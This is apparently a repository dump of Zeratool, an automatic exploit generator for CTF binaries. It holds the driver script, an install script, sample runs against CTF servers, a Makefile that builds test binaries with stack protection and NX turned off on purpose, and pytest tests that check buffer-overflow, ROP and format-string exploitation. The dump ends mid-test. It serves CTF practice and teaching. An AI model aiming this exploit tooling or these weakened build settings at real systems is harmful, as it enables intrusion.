tests/bin/bof_win_64 75 | # Buffer Overflows with ropping 76 | zerapwn.py tests/bin/bof_nx_32 77 | zerapwn.py tests/bin/bof_nx_64 78 | # Buffer Overflow with ropping and libc leak 79 | zerapwn.py tests/bin/bof_nx_64 -l tests/bin/libc.so.6_amd64 80 | 81 | #Format string leak 82 | zerapwn.py tests/bin/read_stack_32 83 | zerapwn.py tests/bin/read_stack_64 84 | #Format string point to win function 85 | zerapwn.py challenges/medium_format 86 | #Format string point to shellcode 87 | #zerapwn.py challenges/hard_format #This one sometimes needs to be run twice 88 | 89 | # Buffer overflow point to shellcode 90 | # Turn off aslr 91 | # echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 92 | zerapwn.py tests/bin/bof_32 --force_shellcode 93 | zerapwn.py tests/bin/bof_64 --force_shellcode 94 | 95 | # Remote libc leak 96 | socat TCP4-LISTEN:7903,tcpwrap=script,reuseaddr,fork EXEC:./bof_nx_64 97 | zerapwn.py tests/bin/bof_nx_64 -u localhost -p 7903 --skip_check --overflow_only 98 | 99 | # Ret2dlresolve 100 | zerapwn.py tests/bin/bof_dlresolve_64 --force_dlresolve --skip_check --overflow_only --no_win 101 | ``` 102 | 103 | [Long Asciinema with Three Solves](https://asciinema.org/a/188001) 104 | 105 | ## Run the tests! 106 | Tox and Pytest are used to verify that Zeratool is working correctly. 107 | ``` 108 | tox . 109 | ``` 110 | 111 | ## FAQ 112 | Q. Why doesn't Zeratool work against my simple exploitable? 113 | 114 | A. Zeratool is held together by scotch tape and dreams. 115 | -------------------------------------------------------------------------------- /bin/zerapwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import print_function 3 | from shutil import which 4 | import argparse 5 | import logging 6 | import os 7 | 8 | from zeratool import formatDetector 9 | from zeratool import formatLeak 10 | from zeratool import inputDetector 11 | from zeratool import overflowDetector 12 | from zeratool import overflowExploiter 13 | from zeratool import overflowExploitSender 14 | from zeratool import protectionDetector 15 | from zeratool import winFunctionDetector 16 | from zeratool import formatExploiter 17 | from zeratool import overflowRemoteLeaker 18 | 19 | logging.basicConfig() 20 | logging.root.setLevel(logging.INFO) 21 | 22 | loud_loggers = [ 23 | "angr.engines", 24 | "angr.sim_manager", 25 | "angr.simos", 26 | "angr.project", 27 | "angr.procedures", 28 | "cle", 29 | "angr.storage", 30 | "pyvex.expr", 31 | ] 32 | 33 | log = logging.getLogger(__name__) 34 | 35 | 36 | def is_radare_installed(): 37 | return which("r2") is not None 38 | 39 | 40 | def main(): 41 | 42 | if not is_radare_installed(): 43 | log.info("[-] Error radare2 is not installed.") 44 | exit(1) 45 | 46 | parser = argparse.ArgumentParser() 47 | parser.add_argument("file", help="File to analyze") 48 | parser.add_argument("-l", "--libc", help="libc to use") 49 | parser.add_argument("-u", "--url", help="Remote URL to pwn", default="") 50 | parser.add_argument("-p", "--port", help="Remote port to pwn", default=0, type=int) 51 | parser.add_argument( 52 | "-v", "--verbose", help="Verbose mode", action="store_true", default=False 53 | ) 54 | parser.add_argument( 55 | "--force_shellcode", 56 | default=False, 57 | action="store_true", 58 | help="Set overflow pwn mode to point to shellcode", 59 | ) 60 | parser.add_argument( 61 | "--force_dlresolve", 62 | default=False, 63 | action="store_true", 64 | help="Set overflow pwn mode to use ret2dlresolve", 65 | ) 66 | parser.add_argument( 67 | "--skip_check", 68 | default=False, 69 | action="store_true", 70 | help="Skip first check and jump right to exploiting", 71 | ) 72 | parser.add_argument( 73 | "--no_win", 74 | default=False, 75 | action="store_true", 76 | help="Skip win function checking", 77 | ) 78 | 79 | parser.add_argument( 80 | "--format_only", 81 | default=False, 82 | action="store_true", 83 | help="Only run format strings check", 84 | ) 85 | parser.add_argument( 86 | "--overflow_only", 87 | default=False, 88 | action="store_true", 89 | help="Only run overflow check", 90 | ) 91 | 92 | args = parser.parse_args() 93 | if args.file is None: 94 | log.info("[-] Exitting no file specified") 95 | exit(1) 96 | if args.verbose: 97 | logging.basicConfig(level=logging.DEBUG) 98 | if not args.verbose: 99 | for loud_logger in loud_loggers: 100 | logging.getLogger(loud_logger).setLevel(logging.ERROR) 101 | 102 | logging.getLogger("angr.project").disabled = True 103 | 104 | # For stack problems where env gets shifted 105 | # based on path, using the abs path everywhere 106 | # makes it consistent 107 | args.file = os.path.abspath(args.file) 108 | 109 | # Detect problem type 110 | properties = {} 111 | properties["input_type"] = inputDetector.checkInputType(args.file) 112 | properties["libc"] = args.libc 113 | properties["file"] = args.file 114 | properties["force_shellcode"] = args.force_shellcode 115 | properties["pwn_type"] = {} 116 | properties["pwn_type"]["type"] = None 117 | properties["force_dlresolve"] = args.force_dlresolve 118 | log.info("[+] Checking pwn type...") 119 | 120 | # Is there an easy win function 121 | properties["win_functions"] = [] 122 | if not args.no_win: 123 | properties["win_functions"] = winFunctionDetector.getWinFunctions(args.file) 124 | 125 | if not args.format_only and not args.skip_check: 126 | log.info("[+] Checking for overflow pwn type...") 127 | properties["pwn_type"] = overflowDetector.checkOverflow( 128 | args.file, inputType=properties["input_type"] 129 | ) 130 | if not args.overflow_only and not args.skip_check: 131 | if properties["pwn_type"]["type"] is None: 132 | log.info("[+] Checking for format string pwn type...") 133 | properties["pwn_type"] = formatDetector.checkFormat( 134 | args.file, inputType=properties["input_type"] 135 | ) 136 | 137 | if args.skip_check and args.overflow_only: 138 | properties["pwn_type"]["type"] = "Overflow" 139 | if args.skip_check and args.format_only: 140 | properties["pwn_type"]["type"] = "Format" 141 | 142 | if args.url != "" and args.port != 0: 143 | properties["remote"] = {} 144 | properties["remote"]["url"] = args.url 145 | properties["remote"]["port"] = args.port 146 | 147 | # Get problem mitigations 148 | log.info("[+] Getting binary protections") 149 | properties["protections"] = protectionDetector.getProperties(args.file) 150 | 151 | # Is it a leak based one? 152 | if properties["pwn_type"]["type"] == "Format": 153 | log.info("[+] Checking for flag leak") 154 | properties["pwn"] = formatLeak.checkLeak(args.file, properties) 155 | # Launch leak remotely 156 | if properties["pwn"]["flag_found"] and args.url != "": 157 | log.info("[+] Found flag through leaks locally. Launching remote exploit") 158 | log.info("[+] Connecting to {}:{}".format(args.url, args.port)) 159 | properties["pwn"]["exploit"] = formatLeak.checkLeak( 160 | args.file, 161 | properties, 162 | remote_server=True, 163 | remote_url=properties["remote"]["url"], 164 | port_num=properties["remote"]["port"], 165 | ) 166 | if properties["pwn"]["flag_found"]: 167 | exit(0) 168 | 169 | # Exploit overflows 170 | if properties["pwn_type"]["type"] == "Overflow": 171 | log.info("[+] Exploiting overflow") 172 | 173 | # If we don't have a libc, see if we can leak it 174 | if properties["libc"] is None and properties.get("remote", False): 175 | properties["libc"] = overflowRemoteLeaker.leak_remote_functions( 176 | args.file, properties, inputType=properties["input_type"] 177 | ) 178 | 179 | properties["pwn_type"]["results"] = {} 180 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 181 | args.file, properties, inputType=properties["input_type"] 182 | ) 183 | if properties["pwn_type"]["results"]["type"]: 184 | 185 | # If we're leaking the remote libc we can't test locally 186 | if isinstance(properties["libc"], dict): 187 | # properties["send_results"] = overflowExploitSender.sendExploit( 188 | # args.file, properties, debug=True 189 | # ) 190 | properties["remote_results"] = overflowExploitSender.sendExploit( 191 | args.file, 192 | properties, 193 | remote_server=True, 194 | remote_url=properties["remote"]["url"], 195 | port_num=properties["remote"]["port"], 196 | ) 197 | else: 198 | properties["send_results"] = overflowExploitSender.sendExploit( 199 | args.file, properties 200 | ) 201 | if ( 202 | properties["send_results"] is not None 203 | and properties["send_results"].get("flag_found", False) 204 | and args.url != "" 205 | ): 206 | properties["remote_results"] = overflowExploitSender.sendExploit( 207 | args.file, 208 | properties, 209 | remote_server=True, 210 | remote_url=properties["remote"]["url"], 211 | port_num=properties["remote"]["port"], 212 | ) 213 | 214 | elif properties["pwn_type"]["type"] == "overflow_variable": 215 | properties["pwn_type"]["results"] = properties["pwn_type"] 216 | properties["send_results"] = overflowExploitSender.sendExploit( 217 | args.file, properties 218 | ) 219 | if properties["send_results"]["flag_found"] and args.url != "": 220 | properties["remote_results"] = overflowExploitSender.sendExploit( 221 | args.file, 222 | properties, 223 | remote_server=True, 224 | remote_url=args.url, 225 | port_num=int(args.port), 226 | ) 227 | 228 | elif properties["pwn_type"]["type"] == "Format": 229 | properties["pwn_type"]["results"] = formatExploiter.exploitFormat( 230 | args.file, properties 231 | ) 232 | if ( 233 | properties["pwn_type"] is not None 234 | and "flag_found" in properties["pwn_type"].keys() 235 | and properties["pwn_type"]["results"]["flag_found"] 236 | and args.url != "" 237 | ): 238 | properties["pwn_type"]["send_results"] = formatExploiter.getRemoteFormat( 239 | properties, remote_url=args.url, remote_port=int(args.port) 240 | ) 241 | else: 242 | log.info("[-] Can not determine vulnerable type") 243 | 244 | 245 | if __name__ == "__main__": 246 | main() 247 | -------------------------------------------------------------------------------- /challenges/bof1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/bof1 -------------------------------------------------------------------------------- /challenges/bof2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/bof2 -------------------------------------------------------------------------------- /challenges/bof3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/bof3 -------------------------------------------------------------------------------- /challenges/demo_bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/demo_bin -------------------------------------------------------------------------------- /challenges/easy_format: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/easy_format -------------------------------------------------------------------------------- /challenges/flag.txt: -------------------------------------------------------------------------------- 1 | TEST 2 | -------------------------------------------------------------------------------- /challenges/hard_format: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/hard_format -------------------------------------------------------------------------------- /challenges/heap0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/heap0 -------------------------------------------------------------------------------- /challenges/libpwnableharness32.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/libpwnableharness32.so -------------------------------------------------------------------------------- /challenges/libpwnableharness64.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/libpwnableharness64.so -------------------------------------------------------------------------------- /challenges/medium_format: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/medium_format -------------------------------------------------------------------------------- /challenges/ret: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/ret -------------------------------------------------------------------------------- /challenges/stack0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/challenges/stack0 -------------------------------------------------------------------------------- /flag.txt: -------------------------------------------------------------------------------- 1 | flag{y0u_g0t_1t} 2 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "[~~~] This install script is deprecated. Please use pip install method instead" 3 | sudo apt-get install python-pip python-dev build-essential rubygems-integration ruby-dev rubygems python-dev libffi-dev -y 4 | #Ubuntu 12 -> rubygems 5 | #Ubuntu 14 -> rubygems-integration 6 | #Ubuntu 16,18 -> ruby-dev 7 | 8 | sudo dpkg --add-architecture i386 9 | sudo apt-get update 10 | sudo apt-get install libc6:i386 libstdc++6:i386 -y 11 | 12 | 13 | sudo pip install virtualenv virtualenvwrapper 14 | 15 | sudo pip install --upgrade pip 16 | 17 | printf '\n%s\n%s\n%s' '# virtualenv' 'export WORKON_HOME=~/virtualenvs' 'source /usr/local/bin/virtualenvwrapper.sh' >> ~/.bashrc 18 | 19 | export WORKON_HOME=~/virtualenvs 20 | source /usr/local/bin/virtualenvwrapper.sh 21 | 22 | mkvirtualenv zeratool 23 | 24 | workon zeratool 25 | 26 | sudo gem install one_gadget 27 | 28 | #Need to port to latest angr 29 | pip install angr==7.8.2.21 cffi==1.7.0 future==0.16.0 pycparser==2.18 IPython==5.0 r2pipe psutil timeout_decorator pwn 30 | 31 | git clone https://github.com/radare/radare2.git 32 | 33 | sudo ./radare2/sys/install.sh 34 | 35 | pip install IPython==5.0 r2pipe psutil timeout_decorator pwn 36 | 37 | echo "####################" 38 | echo "run: . ~/.bashrc" 39 | echo "run: workon zeratool" 40 | -------------------------------------------------------------------------------- /samples.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Buffer Overflows with win functions 3 | zerapwn.py challenges/ret -u ctf.hackucf.org -p 9003 4 | zerapwn.py challenges/bof3 -u ctf.hackucf.org -p 9002 5 | zerapwn.py challenges/bof2 -u ctf.hackucf.org -p 9001 6 | zerapwn.py challenges/bof1 -u ctf.hackucf.org -p 9000 7 | #Down for the summer 8 | #zerapwn.py challenges/easy_format -u tctf.competitivecyber.club -p 7801 9 | #zerapwn.py challenges/medium_format -u tctf.competitivecyber.club -p 7802 10 | 11 | #Format string leak 12 | zerapwn.py challenges/easy_format 13 | #Format string point to win function 14 | zerapwn.py challenges/medium_format 15 | #Format string point to shellcode 16 | #Sometimes r2 debug doesn't give us matching shellcode 17 | #locations to our normal running environment. and sometimes 18 | #running it twice makes it work 19 | zerapwn.py challenges/hard_format 20 | 21 | #Buffer overflow point to shellcode 22 | zerapwn.py challenges/demo_bin 23 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import setuptools 2 | 3 | 4 | setuptools.setup( 5 | name="zeratool", 6 | version="2.2", 7 | scripts=["bin/zerapwn.py"], 8 | author="Christopher Roberts", 9 | author_email="", 10 | description="Automatic Exploit Generation (AEG) and remote flag capture for exploitable CTF problems", 11 | url="https://github.com/ChrisTheCoolHut/Zeratool", 12 | packages=["zeratool"], 13 | install_package_data=True, 14 | install_requires=[ 15 | "angr", 16 | "r2pipe", 17 | "claripy", 18 | "IPython", 19 | "timeout_decorator", 20 | "pwntools", 21 | "tox", 22 | "tqdm", 23 | ], 24 | ) 25 | -------------------------------------------------------------------------------- /tests/Makefile: -------------------------------------------------------------------------------- 1 | 2 | build_flags := -fno-stack-protector -z execstack \ 3 | -Wno-implicit-function-declaration -no-pie \ 4 | -Wno-format-security -fcf-protection=none -mno-shstk 5 | build_NX_flags := -fno-stack-protector \ 6 | -Wno-implicit-function-declaration -no-pie \ 7 | -Wno-format-security -z relro -fcf-protection=none -mno-shstk 8 | bin_names := bof_32 bof_64 bof_win_32 bof_win_64 \ 9 | read_stack_32 format_pc_write_32 format_write_and_constrain_32 \ 10 | read_stack_64 format_pc_write_64 format_write_and_constrain_64 \ 11 | flag.txt 12 | 13 | CC := gcc 14 | 15 | all: build_bof build_format_32 build_format_64 build_flag 16 | 17 | build_bof: 18 | $(CC) -m32 buffer_overflow.c -o bin/bof_32 $(build_flags) 19 | $(CC) buffer_overflow.c -o bin/bof_64 $(build_flags) 20 | $(CC) -m32 buffer_overflow.c -o bin/bof_nx_32 $(build_NX_flags) 21 | $(CC) buffer_overflow.c -o bin/bof_nx_64 $(build_NX_flags) 22 | $(CC) -m32 buffer_overflow.c -o bin/bof_win_32 -Dwin_func $(build_flags) 23 | $(CC) buffer_overflow.c -o bin/bof_win_64 -Dwin_func $(build_flags) 24 | 25 | $(CC) buffer_overflow.c -o bin/bof_srop_64 -Dsrop_func $(build_flags) 26 | $(CC) buffer_overflow.c -o bin/bof_dlresolve_64 -Ddlresolve_read_func \ 27 | -fno-stack-protector -no-pie -z norelro -Wno-nonnull 28 | 29 | build_format_32: 30 | $(CC) -O0 -m32 -fno-stack-protector -o bin/read_stack_32 \ 31 | format_string.c -DEASY $(build_flags) 32 | $(CC) -O0 -m32 -fno-stack-protector -o bin/format_pc_write_32 \ 33 | format_string.c -DMEDIUM $(build_flags) -z relro 34 | $(CC) -O0 -m32 -fno-stack-protector -o bin/format_write_and_constrain_32 \ 35 | format_string.c -DHARD $(build_flags) 36 | 37 | build_format_64: 38 | $(CC) -O0 -fno-stack-protector -o bin/read_stack_64 \ 39 | format_string.c -DEASY $(build_flags) 40 | $(CC) -O0 -fno-stack-protector -o bin/format_pc_write_64 \ 41 | format_string.c -DMEDIUM $(build_flags) -z relro 42 | $(CC) -O0 -fno-stack-protector -o bin/format_write_and_constrain_64 \ 43 | format_string.c -DHARD $(build_flags) 44 | 45 | build_flag: 46 | echo "flag{y0u_g0t_1t}" > flag.txt 47 | cp flag.txt ../ 48 | 49 | clean: 50 | rm -rf bin/* -------------------------------------------------------------------------------- /tests/bin/bof_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_32 -------------------------------------------------------------------------------- /tests/bin/bof_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_64 -------------------------------------------------------------------------------- /tests/bin/bof_dlresolve_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_dlresolve_64 -------------------------------------------------------------------------------- /tests/bin/bof_nx_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_nx_32 -------------------------------------------------------------------------------- /tests/bin/bof_nx_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_nx_64 -------------------------------------------------------------------------------- /tests/bin/bof_srop_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_srop_64 -------------------------------------------------------------------------------- /tests/bin/bof_win_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_win_32 -------------------------------------------------------------------------------- /tests/bin/bof_win_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/bof_win_64 -------------------------------------------------------------------------------- /tests/bin/format_pc_write_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/format_pc_write_32 -------------------------------------------------------------------------------- /tests/bin/format_pc_write_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/format_pc_write_64 -------------------------------------------------------------------------------- /tests/bin/format_write_and_constrain_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/format_write_and_constrain_32 -------------------------------------------------------------------------------- /tests/bin/format_write_and_constrain_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/format_write_and_constrain_64 -------------------------------------------------------------------------------- /tests/bin/libc.so.6_amd64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/libc.so.6_amd64 -------------------------------------------------------------------------------- /tests/bin/libc.so.6_i386: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/libc.so.6_i386 -------------------------------------------------------------------------------- /tests/bin/read_stack_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/read_stack_32 -------------------------------------------------------------------------------- /tests/bin/read_stack_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/tests/bin/read_stack_64 -------------------------------------------------------------------------------- /tests/bof_test.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pytest 3 | import random 4 | import multiprocessing 5 | import subprocess 6 | import shlex 7 | from shutil import which 8 | 9 | os.environ["PWNLIB_NOTERM"] = "1" 10 | from zeratool import overflowDetector 11 | from zeratool import overflowExploiter 12 | from zeratool import overflowExploitSender 13 | from zeratool import winFunctionDetector 14 | from zeratool import protectionDetector 15 | from zeratool import overflowRemoteLeaker 16 | 17 | from contextlib import redirect_stdout, redirect_stderr, contextmanager, ExitStack 18 | 19 | 20 | @contextmanager 21 | def suppress(out=True, err=False): 22 | with ExitStack() as stack: 23 | with open(os.devnull, "w") as null: 24 | if out: 25 | stack.enter_context(redirect_stdout(null)) 26 | if err: 27 | stack.enter_context(redirect_stderr(null)) 28 | yield 29 | 30 | 31 | def test_detect_32(): 32 | with suppress(): 33 | test_file = "tests/bin/bof_win_32" 34 | input_type = "STDIN" 35 | pwn_type = overflowDetector.checkOverflow(test_file, inputType=input_type) 36 | assert pwn_type["type"] == "Overflow" 37 | 38 | 39 | def test_detect_64(): 40 | with suppress(): 41 | test_file = "tests/bin/bof_win_64" 42 | input_type = "STDIN" 43 | pwn_type = overflowDetector.checkOverflow(test_file, inputType=input_type) 44 | assert pwn_type["type"] == "Overflow" 45 | 46 | 47 | def test_get_win_func(): 48 | with suppress(): 49 | test_file = "tests/bin/bof_win_32" 50 | win_functions = winFunctionDetector.getWinFunctions(test_file) 51 | assert "sym.print_flag" in win_functions 52 | 53 | 54 | def test_pwn_win_func_32(): 55 | test_file = "tests/bin/bof_win_32" 56 | input_type = "STDIN" 57 | properties = {"pwn_type": {}} 58 | with suppress(): 59 | properties["win_functions"] = winFunctionDetector.getWinFunctions(test_file) 60 | assert "sym.print_flag" in properties["win_functions"] 61 | 62 | with suppress(): 63 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 64 | test_file, properties, inputType=input_type 65 | ) 66 | assert properties["pwn_type"]["results"]["type"] == "Overflow" 67 | 68 | 69 | def test_pwn_win_func_64(): 70 | test_file = "tests/bin/bof_win_64" 71 | input_type = "STDIN" 72 | properties = {"pwn_type": {}} 73 | with suppress(): 74 | properties["win_functions"] = winFunctionDetector.getWinFunctions(test_file) 75 | assert "sym.print_flag" in properties["win_functions"] 76 | 77 | with suppress(): 78 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 79 | test_file, properties, inputType=input_type 80 | ) 81 | assert properties["pwn_type"]["results"]["type"] == "Overflow" 82 | 83 | 84 | def test_pwn_win_sc_32(): 85 | # Setup for test 86 | test_file = "tests/bin/bof_32" 87 | input_type = "STDIN" 88 | properties = {"pwn_type": {}} 89 | properties["file"] = test_file 90 | properties["force_shellcode"] = True 91 | 92 | # No win function allowed 93 | properties["win_functions"] = None 94 | with suppress(): 95 | # Protections trigger exploit find type 96 | properties["protections"] = protectionDetector.getProperties(test_file) 97 | assert properties["protections"]["nx"] == False 98 | 99 | with suppress(): 100 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 101 | test_file, properties, inputType=input_type 102 | ) 103 | assert properties["pwn_type"]["results"]["type"] == "Overflow" 104 | 105 | 106 | def test_pwn_win_sc_64(): 107 | # Setup for test 108 | test_file = "tests/bin/bof_64" 109 | input_type = "STDIN" 110 | properties = {"pwn_type": {}} 111 | properties["file"] = test_file 112 | properties["force_shellcode"] = True 113 | 114 | # No win function allowed 115 | properties["win_functions"] = None 116 | 117 | with suppress(): 118 | # Protections trigger exploit find type 119 | properties["protections"] = protectionDetector.getProperties(test_file) 120 | assert properties["protections"]["nx"] == False 121 | 122 | with suppress(): 123 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 124 | test_file, properties, inputType=input_type 125 | ) 126 | assert properties["pwn_type"]["results"]["type"] == "Overflow" 127 | 128 | 129 | def test_send_exploit(): 130 | test_file = "tests/bin/bof_win_64" 131 | input_type = "STDIN" 132 | properties = {"pwn_type": {}} 133 | 134 | with suppress(): 135 | properties["win_functions"] = winFunctionDetector.getWinFunctions(test_file) 136 | assert "sym.print_flag" in properties["win_functions"] 137 | 138 | with suppress(): 139 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 140 | test_file, properties, inputType=input_type 141 | ) 142 | assert properties["pwn_type"]["results"]["type"] == "Overflow" 143 | 144 | with suppress(): 145 | properties["send_results"] = overflowExploitSender.sendExploit( 146 | test_file, properties 147 | ) 148 | assert properties["send_results"]["flag_found"] == True 149 | 150 | 151 | def test_leak_rop_32(): 152 | 153 | test_file = "tests/bin/bof_nx_32" 154 | input_type = "STDIN" 155 | properties = {"pwn_type": {}} 156 | properties["file"] = test_file 157 | 158 | with suppress(): 159 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 160 | test_file, properties, inputType=input_type 161 | ) 162 | assert properties["pwn_type"]["results"]["type"] == "leak" 163 | 164 | 165 | def test_leak_rop_64(): 166 | 167 | test_file = "tests/bin/bof_nx_64" 168 | input_type = "STDIN" 169 | properties = {"pwn_type": {}} 170 | properties["file"] = test_file 171 | 172 | with suppress(): 173 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 174 | test_file, properties, inputType=input_type 175 | ) 176 | assert properties["pwn_type"]["results"]["type"] == "leak" 177 | 178 | 179 | def test_pwn_rop_32(): 180 | 181 | test_file = "tests/bin/bof_nx_32" 182 | input_type = "STDIN" 183 | properties = {"pwn_type": {}} 184 | properties["input_type"] = input_type 185 | properties["file"] = test_file 186 | attempts = 3 187 | while attempts > 0: 188 | with suppress(): 189 | # Protections trigger exploit find type 190 | properties["protections"] = protectionDetector.getProperties(test_file) 191 | 192 | with suppress(): 193 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 194 | test_file, properties, inputType=input_type 195 | ) 196 | assert properties["pwn_type"]["results"]["type"] == "leak" 197 | 198 | properties["send_results"] = overflowExploitSender.sendExploit( 199 | test_file, properties 200 | ) 201 | 202 | if not properties["send_results"]["flag_found"]: 203 | attempts -= 1 204 | continue 205 | 206 | assert properties["send_results"]["flag_found"] == True 207 | break 208 | 209 | 210 | def test_pwn_rop_64(): 211 | 212 | test_file = "tests/bin/bof_nx_64" 213 | input_type = "STDIN" 214 | properties = {"pwn_type": {}} 215 | properties["input_type"] = input_type 216 | properties["file"] = test_file 217 | attempts = 3 218 | while attempts > 0: 219 | with suppress(): 220 | # Protections trigger exploit find type 221 | properties["protections"] = protectionDetector.getProperties(test_file) 222 | 223 | with suppress(): 224 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 225 | test_file, properties, inputType=input_type 226 | ) 227 | assert properties["pwn_type"]["results"]["type"] == "leak" 228 | 229 | properties["send_results"] = overflowExploitSender.sendExploit( 230 | test_file, properties 231 | ) 232 | 233 | if not properties["send_results"]["flag_found"]: 234 | attempts -= 1 235 | continue 236 | 237 | assert properties["send_results"]["flag_found"] == True 238 | break 239 | 240 | 241 | @pytest.mark.skip(reason="Not yet finished") 242 | def test_pwn_libc_rop_32(): 243 | 244 | test_file = "tests/bin/bof_nx_32" 245 | input_type = "STDIN" 246 | properties = {"pwn_type": {}} 247 | properties["input_type"] = input_type 248 | properties["file"] = test_file 249 | properties["libc"] = "tests/bin/libc.so.6_i386" 250 | attempts = 3 251 | while attempts > 0: 252 | with suppress(): 253 | # Protections trigger exploit find type 254 | properties["protections"] = protectionDetector.getProperties(test_file) 255 | 256 | with suppress(): 257 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 258 | test_file, properties, inputType=input_type 259 | ) 260 | assert properties["pwn_type"]["results"]["type"] == "leak" 261 | 262 | properties["send_results"] = overflowExploitSender.sendExploit( 263 | test_file, properties 264 | ) 265 | 266 | if not properties["send_results"]["flag_found"]: 267 | attempts -= 1 268 | continue 269 | 270 | assert properties["send_results"]["flag_found"] == True 271 | break 272 | 273 | 274 | def test_pwn_libc_rop_64(): 275 | 276 | test_file = "tests/bin/bof_nx_64" 277 | input_type = "STDIN" 278 | properties = {"pwn_type": {}} 279 | properties["input_type"] = input_type 280 | properties["file"] = test_file 281 | properties["libc"] = "tests/bin/libc.so.6_amd64" 282 | attempts = 3 283 | while attempts > 0: 284 | with suppress(): 285 | # Protections trigger exploit find type 286 | properties["protections"] = protectionDetector.getProperties(test_file) 287 | 288 | with suppress(): 289 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 290 | test_file, properties, inputType=input_type 291 | ) 292 | assert properties["pwn_type"]["results"]["type"] == "leak" 293 | 294 | properties["send_results"] = overflowExploitSender.sendExploit( 295 | test_file, properties 296 | ) 297 | 298 | if not properties["send_results"]["flag_found"]: 299 | attempts -= 1 300 | continue 301 | 302 | assert 